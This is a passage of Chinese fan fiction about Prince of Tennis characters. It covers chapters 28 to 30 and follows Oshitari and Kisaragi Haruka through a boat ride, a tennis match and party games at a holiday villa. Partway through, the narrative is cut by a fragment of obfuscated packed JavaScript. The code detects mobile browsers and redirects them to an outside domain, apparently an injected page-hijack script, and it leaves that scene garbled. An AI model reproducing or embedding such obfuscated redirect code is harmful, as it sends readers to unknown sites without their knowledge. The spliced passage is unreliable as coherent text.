“刚才我已经斟酌过了。” “还不行吗?很吓人?” 看着这张近在咫尺、带着单纯疑惑的脸庞,忍足只觉得心尖被什么东西轻轻撞了一下。 对她而言,那些“直接KO”、“不想打死你”不过是陈述事实。 她已经努力“斟酌”过了,顾及了他的“面子”,甚至还看在他是“朋友”的份上放过了日吉若…… 忍足推了推眼镜,镜片后的目光变得柔和:“不吓人。” “一点也不吓人。谢谢你……刚才已经很顾及大家了。” 他没有提“面子”,而是用了更含蓄也更准确的表达。 如月遥似乎接受了他的说法,微微颔首,目光重新投向平静的湖面。 忍足的心跳悄悄加快。 时机正好,周围没人打扰。 “那个……”尽量让声音听起来自然随意,指了指码头边停泊着的几艘白色小艇,“这么好的天气,我们去湖中心划会儿船?会很安静。” 如月遥的目光顺着他的手指望去,那片开阔宁静的湖心区确实很有吸引力。她几乎没有什么犹豫,“嗯。” 忍足立刻行动起来,动作利落地解开缆绳,扶着小艇让如月遥先坐稳,然后自己也轻盈地跳了上去。 船桨划破水面,白色的小艇载着两人,慢悠悠地、平稳地朝着波光荡漾的湖心驶去。 岸上,遮阳伞下。 向日岳人几个蹬着自行车绕了一圈回来,停在岸边,看着湖心那艘越来越小的白色小艇,以及艇上并排而坐的两个身影。 “啧,”向日抹了把汗,语气带着点复杂的敬畏,“侑士这家伙……真是找了个惹不起的对象啊。”午餐时的震撼显然余威尚存。 迹部优雅地从冰桶里拿起一瓶矿泉水,拧开喝了一口,眼眸隔着墨镜遥遥望着湖心,华丽的声音带着一丝深沉:“啊嗯?你以为呢?” “如月家掌管极道,连本大爷也要忌惮三分。” 这话如同投入平静水面的石子,宍户和日吉瞬间看了过来。 向日瞪大了眼睛,压低声音惊呼,“真的假的?!极道世家?” 他联想到午餐时如月遥那“家传”、“必须学”、“十招制敌”的发言,瞬间觉得一切都通了。 迹部没有正面回答,但那份默认已然足够。 众人只觉得一股寒气从脊椎骨窜起,看向湖心小艇的眼神充满了更深的敬畏,以及对忍足的无限同情。 宍户用手肘捅了捅旁边沉默不语的日吉:“喂,日吉……” 日吉的目光也盯着湖心,显然还在消化那“极道大小姐”的信息炸弹。 “以后……”宍户的声音带着点幸灾乐祸的残酷,“要是忍足那小子不小心惹这位大小姐生气了……” 他特意加重了语气,看向日吉: “到时候……就靠你去救他了!” 向日也立刻反应过来,凑热闹不嫌事大地起哄:“对对对!日吉!你不是想切磋吗?到时候正好!” 宍户脸上露出一个恶劣的笑容,补上了最关键、也最要命的话: “正好让我们看看……” “大小姐她……” “是先打死忍足……” “还是……” “先打死你……” 日吉若:“……” 他艰难地吐出几个字,眼神飘忽,“当我……没说过……” 向日和宍户看着日吉这副“认怂保平安”的样子,忍不住爆发出夸张的大笑。 连迹部的嘴角都勾起了一抹看笑话的弧度,一直沉默垂钓的桦地,握着鱼竿的手也几不可察地抖了一下。 而在他们喧闹的背景下,湖心那片宁静的水域里,白色的小艇正随着微风轻轻摇曳。 忍足慢慢地划着桨,享受着这份难得的独处和宁静。 阳光暖融融地洒在身上,微风拂面。 如月遥安静地坐在他对面,白皙纤细的手指无意识地伸向船船舷外,指尖轻轻划过微凉的湖水,带起一圈圈细小的涟漪。 那份专注的姿态,如同孩童般带着一丝纯粹的好奇和宁静。 忍足的目光落在她指尖与水波接触的地方,又缓缓移到她沉静的侧脸上。阳光在她的发丝上跳跃,睫毛在眼下投下淡淡的阴影。 此刻的她,褪去了所有的清冷疏离和摄人锋芒,只剩下一种罕见的宁静柔和。 忍足的心,也如同这轻轻荡漾的小船,被岁月静好的满足感温柔地包裹着。 他甚至希望,这艘小船,能永远这样慢悠悠地、飘荡在宁静的湖心。 轻井沢的夏夜网球场,灯光雪亮,热血对抗在空气中碰撞出激烈的火花。 网球落地的脆响、球鞋摩擦的锐声、兴奋的呼喊与调侃此起彼伏。 “岳人!你这弹跳力是装了弹簧吧?!” “凤!发球再狠一点!瞄准他死角!” “宍户!别松懈!” “日吉!下克上的气势拿出来!” “忍足!啧,这防守……稳得像磐石!刚才那反击角度刁钻!” “哼,本大爷的球技,自然是华丽的极致!迈向破灭的圆舞曲!” 久违的酣战点燃了所有人的激情。 向日的高空截击愈发惊艳,凤的重炮发球势大力沉,日吉若眼神锐利,迹部的每一拍都带着掌控全局的华丽。 忍足则完美诠释了“下盘特训”的成果,步伐沉稳扎实,防守如同铜墙铁壁,反击精准而犀利。 球场边,啦啦队阵营泾渭分明。 千叶纱织和佐藤明美早已化身专业拉拉队员。 每当凤长太郎或泷荻之介结束一局,她们立刻小跑上前,递上冰凉的毛巾和矿泉水,笑容灿烂,眼神里满是骄傲。 “长太郎,擦擦汗~” “阿介,喝点水~” “刚才那个吊高球太漂亮了!” 她们的体贴自然引来一片善意的起哄和口哨。 “喔——!!!” “凤!泷!好福气啊!” “羡慕了羡慕了!” 享受着女友关怀的凤和泷,脸上带着被关注的幸福红晕,笑意藏都藏不住。 水谷雅子坐在如月遥旁边的藤椅上,也被这气氛感染。 她看着刚结束与迹部一场激烈缠斗、正走向场边休息区的忍足侑士。脸上带着运动后的潮红和汗水,气息微喘,眼神却明亮锐利,显然状态正佳。 “如月同学。”水谷轻轻碰了碰身边安静观战的如月遥,压低声音,带着艺术家的浪漫怂恿,“快!去给忍足君一点鼓励呀!你看佐藤桑和千叶桑。” “忍足君打得这么厉害,一个人走过去多孤单!尤其现在这种对比……” 如月遥眼眸平静无波,语气理所当然:“他自己会拿。” 在她看来,递水这种“服务性”的行为,对忍足而言毫无必要。 水谷雅子简直要抓狂:“哎呀!不是拿不拿水的问题!是心意!心意懂不懂?就像你弹完琵琶,观众给你鼓掌一样!主动表达一下肯定嘛!” 主动表达?肯定? 如月遥微微蹙起秀气的眉头,眼眸里浮现出困惑。 主动……表达什么? 忍足侑士此刻的心情,确实如同水谷雅子所预料,正微妙地泛着酸涩。 清凉的水滑过喉咙,却浇不灭心底那点小小的、名为“被冷落”的失落感。 他赢了! 赢了迹部! 打出了漂亮的防守反击! 他确信她看到了! 甚至捕捉到她眼底一闪而过的专注,也可能是赞赏。 但是她只是看着。 像欣赏一场与己无关的表演,没有欢呼,没有招手,更没有像佐藤和千叶那样,第一时间送上关切的眼神和行动…… 理智告诉他,这才是如月遥,清冷、独立、不谙俗礼。 可情感上,看着队友们被爱意环绕的笑容,再想想自己孤身一人站在这里,那股强烈的、想要被她在乎、被她看到的渴望,还是不受控制地弥漫开来。 尤其是在刚刚经历了一场值得骄傲的胜利之后。 他下意识地又朝藤椅区瞥了一眼,眼神里带着期盼和微不可察的委屈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526630|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一切,都没逃过旁边迹部景吾锐利的眼睛。 迹部放下运动饮料,眼眸扫过忍足那张极力掩饰却依旧泄露出“求关注”气息的脸,又瞥了一眼藤椅上那位稳如泰山、满脸写着“与我何干”的清冷佳人。 迹部嘴角狠狠一抽,额角似乎有青筋跳动。 他嫌弃地拿起旁边桌上另一瓶没开封的矿泉水,没好气地砸到忍足怀里。 “喝!”华丽的声音带着毫不掩饰的鄙夷,“至于吗?” 迹部修长的手指嫌弃地虚点了点忍足周身弥漫的、无形的低气压,每个字都带着冰帝帝王的毒舌,“没出息!” 忍足被迹部的投喂和毒舌弄得一愣,下意识接住矿泉水瓶。看着迹部那副“恨铁不成钢”的表情,再看看怀里这瓶“帝王恩赐”,他刚想嘴硬反驳。 就在这时。 藤椅上的身影,毫无预兆地站了起来,如同冰峰微移,带着不容忽视的存在感。 如月遥站起身。 目光平静而直接地,越过了中间短暂的距离,精准地落在了刚刚被迹部“砸”了一瓶水的忍足侑士身上。 她步伐不快,却异常平稳地朝着忍足的方向走去。裙摆随着她的走动轻轻摇曳,在明亮的灯光下如同移动的琼花。 整个网球场仿佛被按下了静音键。 网球落地声消失。 呼喊调侃声卡住。 递水擦汗的动作僵住。 所有目光,如同聚光灯般,死死追随着那道走向忍足的身影。 忍足的心跳在那一刻骤然失序。 他手里还握着迹部刚砸过来的矿泉水,此刻整个人如同被雷劈中,傻愣愣地站在原地,眼睛瞪得溜圆,看着他的月亮一步步、不容置疑地向他走来。 如月遥径直走到忍足面前,停下脚步。 距离很近,甚至能闻到她身上那熟悉的、冰冷的雪松气息,混合着夏夜的空气。 她微微仰起脸,平静地看着忍足因为震惊而有些呆滞的脸。 清泠的声音穿透了这片诡异的寂静,清晰无比地响起: “你的下盘训练,”她的目光如同最精密的扫描仪,扫过忍足因为刚刚剧烈运动而依旧紧绷的腿部线条,语气平淡得像在陈述一份实验报告,“效果显著。” 似乎在进行最终评定,最终给出了一个在她标准里已算极高的评价:“稳定性还可以。” 下盘训练……效果显著…… 稳定性……还可以…… 没有水。 没有毛巾。 没有关切的眼神。 只有一句,如同教练点评学员般的专业肯定。 忍足的大脑彻底宕机,所有的失落、期盼、委屈瞬间被这出乎意料、却又无比“如月遥式”的回应冲得七零八落。 就在忍足被她的点评砸得晕头转向、完全不知该如何反应时,如月遥似乎完成了水谷雅子交给她的“任务”,没有任何多余的话语,干脆利落地转过身。 然而—— 就在她刚刚迈出第一步的瞬间,忍足如同被解除了石化魔法。 “等等!”他的声音因为激动和急切而微微拔高。 脚步应声顿住,她侧过身子,眼眸里带着一丝询问。 忍足看着她的侧脸,又低头看了看自己怀里那两瓶孤零零的矿泉水,一瓶自己的,一瓶迹部砸的。 他猛地向前一步,几乎是抢在如月完全离开前,将手里那瓶还没开封的、属于他自己的矿泉水,飞快地不容拒绝地塞到了如月遥空着的那只手里。 动作快如闪电。 “这个给你。”忍足的声音带着一种强行压抑的雀跃和理直气壮,仿佛在完成一项重要的仪式。 看着如月遥因为手中突然多出的水瓶而微微睁大的眼睛,他的声音带着得寸进尺的轻快: “感谢如月老师的回礼。” 塞完水,像是怕她反悔似的,立刻抱着迹部“恩赐”的那瓶水,脚步轻快地跑向了球场另一端,重新加入了热身的人群。 留下如月遥一个人站在原地,手里拿着一瓶还带着忍足掌心微温的矿泉水。 她低头看了看手中突然多出的“回礼”,又抬眼看了看忍足那明显雀跃过度的背影。 似乎在思考这瓶水的意义和“回礼”的逻辑。 最终,她什么也没说,只是握紧了那瓶水,转身走回藤椅。 球场边,短暂的死寂之后,爆发出向日惊天动地的爆笑。 “噗哈哈哈哈——!!!!!!” “下盘训练效果显著?!稳定性还可以?!哈哈哈哈!侑士你也有今天!!” “还有那瓶水!哈哈哈!强行塞回去当回礼?!这是什么操作?!!” “不行了笑死我了!到底谁要喝水啊!哈哈哈哈!” 29. 第 29 章 喧嚣沉寂,洗漱后的清爽气息弥漫开来。 迹部家别墅的灯火通明,映照着这群精力旺盛的年轻人。在管家精心布置的和室里,巨大的榻榻米上铺着柔软的地垫,四周散落着松软的靠垫。 各色饮料、水果和精致的零食摆满了矮几,空气中弥漫着零食的甜香和年轻人特有的活力气息。 “假期第一天!谁要睡觉啊!” “就是!通宵!通宵!” “玩游戏!打牌!抽乌龟!UNO走起!” 向日咋咋呼呼地充当着气氛组组长,男生们陆续进入和室,有的还在回味刚才的网球赛,有人则开始分享学校的生活八卦,气氛轻松而喧闹。 忍足靠在窗边的软垫上,看似随意地听着宍户和日吉争论刚才比赛的一个判罚,但目光却时不时地瞟向和室的入口,他的注意力雷达全开,只为捕捉那个身影。 终于,女生们洗漱完毕,换上舒适的睡衣,陆陆续续走了进来。 佐藤明美穿着淡粉色的棉质睡裙,温柔甜美;千叶纱织是带着艺术印花的长款T恤,慵懒随性;水谷雅子则是一件鹅黄色的卡通连体睡衣,元气十足。 然后,她出现了。 忍足的呼吸在那一刻几不可察地停滞了一瞬。 如月遥走进和室。 不同于其他人的柔和色彩,她穿着一身纯黑色的真丝衣裤套装式睡衣。 质地光滑垂坠,衬得她本就清冷的气质更添几分神秘与疏离,仿佛夜色中悄然绽放的黑莲。 然而就在那一片深邃的黑色之上,在睡衣左胸心脏位置的地方,却用极其精巧的丝线,刺绣着一轮小小的、粉红色的弯月。 那弯月并不张扬,却异常醒目。 粉嫩的色泽与沉郁的黑色形成强烈的反差,如同在无垠的夜空中点亮了一盏温柔的灯。就和她的人一样,外表是拒人千里的冰封,内里却藏着不为人知的、别扭又可爱的独特色彩。 第一次见到穿着睡衣的如月遥。 第一次看到她赤着脚。 她没有穿拖鞋,白皙纤秀的双足直接踩在光滑微凉的榻榻米上。脚趾甲泛着健康的浅粉色,脚踝的线条优美流畅。 黑色的睡衣面料将她裸露在外的肌肤衬得如同上好的羊脂白玉,在柔和的灯光下几乎散发着莹润的光泽。 尤其是当她走动时,那白皙的脚背微微弓起,弧度优美得惊人。 忍足只觉得视线被狠狠晃了一下,心跳起伏,喉头不由自主地发紧,几乎要下意识地移开目光才能维持表面的镇定。 “来来来!开始啦!”向日拿着几盒桌游牌,大声招呼着,“分组分组!想玩什么的自己挑位置!” 轻松的氛围瞬间被点燃。 有人凑到矮几旁开始洗牌准备抽乌龟,有人拿出UNO牌组,女生们则自然地聚在一角,分享着手机里的照片,大概是在讨论P图滤镜。 大家或坐或躺,姿态随意地歪在榻榻米上的软垫里,享受着难得的自由与放松。 佐藤靠在凤的肩膀上笑看他们打牌,千叶和泷挨着坐在一起研究UNO规则,水谷雅子则直接趴在一个巨大的龙猫抱枕上,晃着脚丫刷手机。 忍足的目光始终没有离开如月遥。 她并没有参与热闹的牌局讨论,也没有加入女生的P图小团体。她在离人群稍远一些的地方,靠着一个印着竹子图案的软垫坐了下来,双腿随意地蜷起,姿态依旧带着她特有的清冷与挺拔,与周围歪歪斜斜的氛围形成微妙的对比。 忍足的心微微沉了一下。 果然……还是太勉强了吗? 这种闹哄哄的场合对她来说…… 就在这时,向日眼珠一转,目光扫过全场,精准地落在了角落里的如月遥身上。 “喂!如月同学!”他大大咧咧地喊道,手里挥舞着一副崭新的扑克牌,“别一个人呆着嘛!一起来玩抽乌龟啊!人多才热闹!” 忍足的心瞬间提到了嗓子眼,他立刻看向如月遥,做好了替她婉拒的准备。 出乎意料的是,如月遥闻声,缓缓抬起了眼。 目光先是落在向日兴奋的脸上,又缓缓扫过围坐在一起、看向她的众人。 短暂的沉默。 就在忍足以为她会拒绝时,如月遥几不可察地点了下头,清泠的声音响起: “好的。” 她竟然……答应了? 她居然愿意玩这种在她看来可能极其“幼稚无聊”的游戏?! 忍足惊讶地看着她站起身,动作沉稳地走到抽乌龟的牌局圈子里,在水谷雅子旁边坐了下来。 她的坐姿依旧挺直,与周围歪歪扭扭的队友们格格不入,但那平静接受的态度,已然是巨大的让步。 忍足来不及多想,立刻在如月遥斜对面的位置坐了下来。 他必须确保自己在她对面的位置上! 这样才能……咳,更好地观察她……以及万一有什么情况,第一时间…… 抽乌龟的游戏规则很简单,大家轮流抽别人的牌,配对成功后丢弃,最后手上留下“乌龟”牌的人算输。 游戏开始。 起初,如月遥的动作显得有些生疏和被动。 轮到她抽牌时,她会伸出白皙的手指,在对面人扇形展开的牌面边缘犹豫片刻,才随意地抽取一张。 但随着游戏的进行,忍足敏锐地捕捉到了变化。 当她发现自己抽中的牌恰好能与手中的配对时,眼里会极其短暂地掠过一丝如同冰面划过微光的亮色。虽然表情依旧纹丝不动,但忍足就是觉得,那细微的亮光意味着愉悦。 更明显的是,当她手中的牌越来越少,她那总是抿成一条直线的唇角,会几不可察地绷紧一些,仿佛在无声地祈祷不要抽中那张“乌龟”。 而当她真的抽中了别人手上那张唯一的、“危险的”单牌时,忍足甚至看到她握着牌的手指,极其细微地收紧了一下。指节因为用力而微微泛白,那是……紧张。 忍足的心随着她这些微小的反应而起伏不定。 他甚至忘了关注自己手上的牌。 所有的注意力都凝聚在她身上,如同最精密的观测仪,捕捉着她每一个细微的情绪波动。 这太……不可思议了! 他的月亮,那个总是超然物外、仿佛不食人间烟火的冰美人,居然会因为一个小小的抽乌龟游戏,流露出如此丰富的内在情绪。 虽然这些情绪被压缩到了极致,隐藏在她平静无波的表象之下,但忍足确信自己看到了。 这份发现带给他的惊喜和悸动,远远超过了赢得任何一场网球比赛。 游戏继续进行。 终于,轮到了关键的时刻! 忍足对面的宍户手中只剩下一张牌了,而如月手上也只有两张牌。一张是安全的对子牌,另一张则是…“乌龟”。 所有人的目光都聚焦在如月遥身上,气氛瞬间变得紧张又期待。 如月遥的目光落在宍户亮摊开的、仅剩的一张牌上。那张牌静静躺着,仿佛蕴含着决定命运的力量。 忍足清晰地看到,她凝起了前所未有的专注,如同锁定猎物的鹰隼。 伸出纤细白皙的手指,速度不快,没有丝毫犹豫地,精准地捏住了宍户亮手中那张牌的边缘。 所有人的心脏仿佛都随着她的动作被提起。 就连宍户那张酷酷的脸上都露出了紧张的神情。 忍足屏住呼吸,眼睛一眨不眨。 就在如月的手指捏住牌角,准备将它抽离宍户亮掌控的瞬间—— “等一下。”一个声音突然响起。 迹部优雅地晃了晃手中刚配对的牌,眼眸扫过围坐一圈、表情各异的众人,唇角勾起一抹算计的精光,“游戏玩到现在,要是谁最后拿到那张‘乌龟’牌,没点惩罚,岂不是太无趣了?” 他的声音带着不容置疑的提议。 “对对对!”向日第一个跳出来响应,唯恐天下不乱地挥舞着手臂,“加码加码!没惩罚没意思!这样才刺激!” 宍户亮撇了撇嘴,没反对。 迹部双手交叠放在膝上,摆出一副“本大爷最公平”的姿态,慢条斯理冥地宣布:“那就这样。” “谁最后不幸成为那只‘乌龟’……” 他微微停顿,似乎在欣赏众人屏息等待的样子。 “就要——”迹部修长的手指优雅地点了点自己的耳垂,“捏着自己的耳朵。” 然后,他刻意放慢了语速,带着点促狭的意味: “用最温柔的语气……” “喊出自己手机联系人名单里的……第一名。” “噗——!”忍足刚喝进嘴的果汁差点喷出来,心脏不受控制地狂跳起来。 联系人……第一名? 他下意识地看向斜对面的如月遥。 如月的表情依旧没什么变化,只是眼眸里掠过极淡的不解,大概是不明白这种惩罚的意义何在。 但她显然也没打算反对,只是平静地等待着游戏的最终结果。 其他人则瞬间兴奋起来! “哈哈哈!这个好!” “温柔语气喊联系人第一名?!刺激!” “迹部SAMA英明!” “快快快!继续继续!” 游戏在一种更加诡异亮和期待的气氛中重新开始。 每个人抽牌时都带着一种小心翼翼又幸灾乐祸的紧张感,目光不断在其他人脸上和手中的牌来回扫视。 忍足的心悬到了嗓子眼。 他一边机械地抽牌、配对,一边疯狂祈祷:千万!千万不要是她!也千万不要是我!这种公开处刑太可怕了! 然而,命运女神似乎今晚格外偏爱戏剧性。 随着牌面越来越少,气氛越来越紧张。 当宍户手中最后一张安全的牌被凤抽走配对成功,宍户如释重负地松了口气。 此刻,场上只剩下两个人。 忍足侑士VS如月遥 两人手中各剩下一张牌,而那张决定命运的“乌龟”牌,就在其中一人手里。 所有人的目光如同探照灯般聚焦在两人身上,连呼吸都放轻了。 轮到如月遥抽忍足的牌。 忍足的心跳快得如同擂鼓,他僵硬地摊开手掌,掌心里孤零零地躺着那张牌,背面朝上,如同潘多拉的魔盒。 如月遥的目光落在忍足掌心那张牌上。 她依旧平静,动作稳定得没有一丝颤抖,缓缓地、精准地捏住了那张牌的边缘。 忍足屏住呼吸,几乎能听到自己血液奔涌的声音。 下一秒,如长月遥的手指轻轻一捻,将牌翻转过来。< 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在所有人的注视下,如月默默地从身边拿出了她的手机。纤细的手指在屏幕上滑动,解锁,点之开了通讯录。 她的目光落在手机屏幕上,似乎在确认着什么。 然后,忍足清晰地看到,她那张清冷无瑕的脸上,飞快地掠过一丝尴尬,那抹尴尬如同投入冰湖的石子,在她沉静的面容上漾开细微的涟漪。 在所有人屏息凝神的注视下,如月遥抬起了手。 那双白皙纤细、曾在众人敬畏的目光中被想象成对视致命武器的手,此刻,却做出了一个颠覆认知的动作。 食指和拇指,轻轻地带着点笨拙的可爱,捏住了自己小巧圆润的耳垂。 那动作实在太犯规了。 完全不像那个拒人千里、出手狠辣的冰山大美人,反而带着一种懵懂少女般无措的羞赧。 灯光下,她白皙的耳垂被自己的指尖捏住,透出一点可爱的粉红。 微微垂着眼帘,浓密的睫毛在眼下投下淡淡的阴影,那惯有的清冷疏离感被尴尬和羞赧所取代,让她整个人瞬间柔和了无数倍。 似乎在酝酿着什么,又像是在做最后的心理建设。 整个和室落针可闻,只有空调运转的微弱嗡鸣。 终于—— 樱唇轻启。 一个声音,如同最轻柔的羽毛拂过琴弦,又似林间最温柔的夜风,带着一种从未在她身上出现过的温柔,轻轻地、清晰地流淌出来,弥漫在寂静的和室里: “忍足侑士。” 那四个字,被她用最温柔的语气念出,尾音甚至带着一丝几不可察的、如同叹息般的微颤。 忍足侑士。 她的声音并不大,却如同投入深潭的巨石,瞬间在忍足的心湖里掀起了滔天巨浪,也将在场所有人的大脑都炸成了一片空白。 忍足只觉得全身的血液瞬间涌上了头顶,脸颊滚烫得能煎鸡蛋,心脏在胸腔里疯狂地跳动,几乎要挣脱束缚蹦出来。 他听到了什么? 她捏着耳垂,用那么温柔的声音,喊了他的名字。 他像个被幸福砸中的傻瓜,呆愣在原地,眼睛瞪得溜圆,嘴巴微张,大脑彻底宕机,完全失去了反应能力。 和室里陷入了前所未有的、极度诡异的安静。 几秒钟的死寂之后—— “噗——哈哈哈哈哈哈哈哈哈哈哈哈哈!!!!!!!” 向日爆发出惊天动地的狂笑,整个人在榻榻米上滚来滚去,笑得眼泪都飙出来了! “忍足侑士!忍足侑士!!!” “侑士!你听到了吗?!忍足侑士!哈哈哈哈哈哈!” “忍足的名字居然能排在第一名,如月你的通讯录里的人也少得太贫瘠了吧!!” “喂忍足,你那副表情是什么意思啊!!” 整个和室瞬间被巨大的起哄声浪淹没。 如月在喊出那个名字后,仿佛耗尽了所有力气。 飞快地松开了捏着耳垂的手指,那抹尴尬的绯红迅速从耳根蔓延到了脸颊,虽然她极力维持着表面的平静,但微微低垂的眼帘和紧抿的唇线,都泄露了她内心的不平静。 而忍足依旧像个被施了定身咒的雕像,傻愣愣地呆在原地,脸上维持着那副懵了的表情,耳边似乎还在无限循环着那温柔到让他灵魂都为之颤抖的四个字。 忍足侑士。 忍足侑士。 忍足侑士。 就在这时,一个不明飞行物,向日丢过来的薯片袋,精准地砸在了忍足呆滞的脸上。 “喂!忍足!回魂了!!”向日夸张的喊声穿透笑声传来。 忍足被砸得一激灵,终于从那种灵魂出窍的状态中恢复了一丝神智。 他眨了眨眼,看着眼前那个低着头、脸颊微红、难得露出羞赧姿态的如月遥;再听着耳边震耳欲聋的爆笑和调侃…… 猛地深吸一口气,像是要把那四个字刻进肺腑里,他什么也没说,只是努力恢复了平时的镇定,但是眼睛却一眨不眨地,锁定着那个低着头的身影。 30. 第 30 章 如月遥抬起了头。 羞赧瞬间被不服输所取代,眼眸里如同燃起了必胜的火焰。 她下巴微扬,近乎倔强的声音穿透了笑声,清晰地响起: “再来一次!” 她目光炯炯地扫过笑得东倒西歪的众人,最后落在主位上唇角含笑的迹部身上,语气挑衅:“有本事玩个大的。” 这突如其来的宣言让笑声戛然而止。 所有人都惊讶地看着她。 这位冰山美人居然被激起了胜负欲? 而且是要“玩个大的”? 向日立刻来了精神:“哇!发威了!玩什么玩什么?” 迹部的眼眸里闪过预料之中的精光,优雅地放下手中的杯子,华丽的声音带着掌控一切的从容:“啊嗯?抽乌龟确实没意思了。” 他指尖轻轻敲击着榻榻米,目光扫过众人,“不如玩国王游戏?” “国王游戏?”如月漂亮的眉毛微微蹙起,明显有些茫然。 忍足看到如月遥脸上的疑惑,他压下心底依旧翻腾悸动,身体微微前倾靠近她一些,声音轻柔而耐心,如同在教导一个懵懂的学生:“国王游戏……” 他简单地解释着规则,“就是抽签,抽中‘国王签’的人可以随意命令抽中特定号码的人做任何事。” “当然,是在合理的、大家能接受的范围内。” “哦。”如月遥听完,闪过一丝了然,随即那份不服输的光芒更加炽盛,“好啊。” 她干脆利落地应下,声音斩钉截铁,“就玩这个。” 气氛瞬间被点燃! 比刚才更加高涨的期待感和一点冒险的刺激感弥漫开来。 游戏开始。 签筒在众人手中传递,每一次抽签都伴随着紧张和期待的低呼。 每一轮的国王命令都如同投入平静湖面的石子,激起一片喧闹的水花: 第一轮国王(向日岳人):命令3号和5号互换睡衣。 结果倒霉的宍户亮(3号)和日吉若(5号)被迫在众人的围观下,扭捏尴尬地进行了睡衣交换。 宍户的酷哥形象碎了一地,日吉若穿着宍户偏小的睡衣,表情僵硬得如同雕塑。 第二轮国王(水谷雅子):命令1号用最娇羞的语气对6号说“我爱你”。 桦地(1号)沉默如山的面孔在听到命令后罕见地扭曲了一下,最终在泷荻之介(6号)惊恐的目光和众人的憋笑声中,用平板无波却又刻意拔高的诡异声调完成:“我——爱——你——” 效果惊悚又爆笑。 第三轮国王(芥川慈郎):命令2号和8号(国王自己)互相逗对方笑,谁先笑谁输。 结果水谷雅子(2号)和慈郎对着做鬼脸、讲冷笑话、甚至模仿对方,最终在慈郎一个夸张的平地摔后,水谷先破功笑喷,慈郎得意洋洋地宣布胜利。 第四轮国王(向日岳人):指定一个人做俯卧撑,下面躺着的人由国王指定。 向日贼笑着指定了迹部做俯卧撑,然后在迹部华丽的死亡凝视下,坏笑着指向了日吉:“躺下吧日吉!让迹部SAMA在你上面做俯卧撑!” 和室瞬间被“噗嗤”声和憋笑声淹没。 迹部脸色黑如锅底,但游戏规则不容亵渎,只能咬牙切齿地在日吉僵硬的身体上方艰难地完成了十个俯卧撑,日吉若全程闭着眼,仿佛在经历一场酷刑。 笑声、尖叫声、起哄声一浪高过一浪。 和室的气氛热烈到了顶点。 忍足的目光却始终带着一丝不易察觉的紧张,追随着如月遥。 她参与了每一次抽签,但运气似乎不错,一直未被国王点中执行那些“社死”命令。 她平静地旁观着,眼里偶尔会掠过对荒诞场面的新奇,但那份不服输的锐利光芒始终未减。 终于,签筒传到了最后一轮。 所有人的心都提了起来,这是今晚最后的一次抽签。 当签筒传递到迹部景吾手上时,他优雅地抽出了一张签。 展开一看,瞬间掠过如同狐狸般狡猾的精光。 他将签纸缓缓展开,面向众人,华丽的声音带着掌控一切的愉悦:“国王是本大爷。” 众人屏息。 迹部修长的手指轻轻敲击着膝盖,目光慢悠悠地扫过全场,仿佛在挑选最合适的猎物。他的目光在忍足侑士和如月遥身上微妙地停顿了一瞬,唇角勾起一抹算计的弧度。 “嗯……”他故意拉长了语调,似乎在认真思考一个“有趣”又不失“华丽”的命令。几秒钟的沉默,如同无形的压力笼罩在每个人心头。 终于,迹部缓缓开口,声音带着笑意:“那么,本大爷的命令是——” 他停顿了一下,清晰地说道: “7号玩家踩着4号玩家的脚背……” 他微微眯起眼眸,如同锁定猎物的鹰隼:“两人一起,在和室里绕一圈走。” 命令一出,满座皆惊。 踩着脚背绕一圈? 这命令既暧昧又带着点高难度的身体接触,比之前的惩罚都更有看点。 “哇哦——!!!” “刺激!” “迹部SAMA太会玩了!” “谁是4号?谁是7号?快出来!” 在众人兴奋的催促和探寻的目光中,忍足侑士深吸一口气,缓缓摊开了自己手中的签纸。 一个清晰的“4”。 他站起身,脸上带着一种混合着紧张、期待、以及“果然如此”的了然。他看向迹部,后者回以一个华丽又欠揍的“你懂的”眼神。 忍足的心跳加速。 4号是他。 那么……7号…… 他的目光下意识地、带着强烈的期盼,扫向斜对面的如月遥。 与此同时,所有人的目光也都聚焦到了如月遥身上,好奇、期待、幸灾乐祸,各种情绪交织。 只见如月遥捏着手中的签纸,看不出特别的情绪。她似乎也感受到了聚焦在自己身上的目光,缓缓地平静地抬起了手。 纤细白皙的手指,捏着那张决定命运的签纸,轻轻翻转。 灯光下,一个龙飞凤舞的数字“7”,清晰地呈现在众人眼前。 轰——!!! 寂静! 死一般的寂静! 紧接着。 “啊啊啊啊啊——!!!” “7号是如月同学!!!” “4号和7号!!!天呐!!!” “踩脚背!!!绕圈!!!!” “快快快!忍足!如月同学!快开始!!!” 起哄声浪瞬间爆发,远比之前任何一次都要热烈,几乎要掀翻屋顶! 忍足侑士的心脏在那一刻几乎停跳。 狂喜混杂着难以置信的眩晕感袭来,他看着如月遥,看着她那双平静无波却仿佛映着自己倒影的眼睛,只觉得喉咙发干,手心冒汗。 如月遥看着自己签纸上的“7”,又抬眼看向已经站起身走到场地中央正看着她的忍足侑士。 她的脸上依旧没什么表情,内心无奈。 再也不赌了。 我不适合赌局。 认命地放下签纸,在所有人灼热目光的注视下,缓缓站起身。 黑色的真丝睡衣在灯光下流动着微光,胸前那轮粉色的弯月显得格外醒目。她赤着脚,白皙的足弓踩在微凉的榻榻米上,一步步走向站在场地中央、等待着她的忍足侑士。 每一步,都仿佛踩在忍足的心尖上。 他要……成为她的“脚垫”了? 在众目睽睽之下,被她踩着脚背……绕场一周? 忍足看着那道向他走来的身影,只觉得眼前的一切美好得如同梦境。 迹部景吾优雅地靠在软垫上,眼眸里闪烁着“一切尽在掌控”的满意光芒,唇角勾起一抹华丽又深藏功与名的弧度。 国王的命令,即将华丽上演。 和室内的空气仿佛凝固了,只剩下心跳声在忍足的胸腔里轰鸣。 所有的目光聚焦在场地中央的两人身上,迹部那“计划通”的促狭笑容如同背景板,向日岳人等人兴奋的催促声像是隔着一层水雾。 如月遥站在忍足面前,微微仰着脸平静地看着他,但忍足却敏锐地捕捉到那平静之下的一丝不自在。 她抿了抿唇,清泠的声音打破了这短暂的僵持: “踩痛了别怪我。” 目光意有所指地扫了一眼主位上笑得像只狐狸的迹部。 “记得去找迹部报仇。”她补充道,语气带着点理所当然的冷酷。 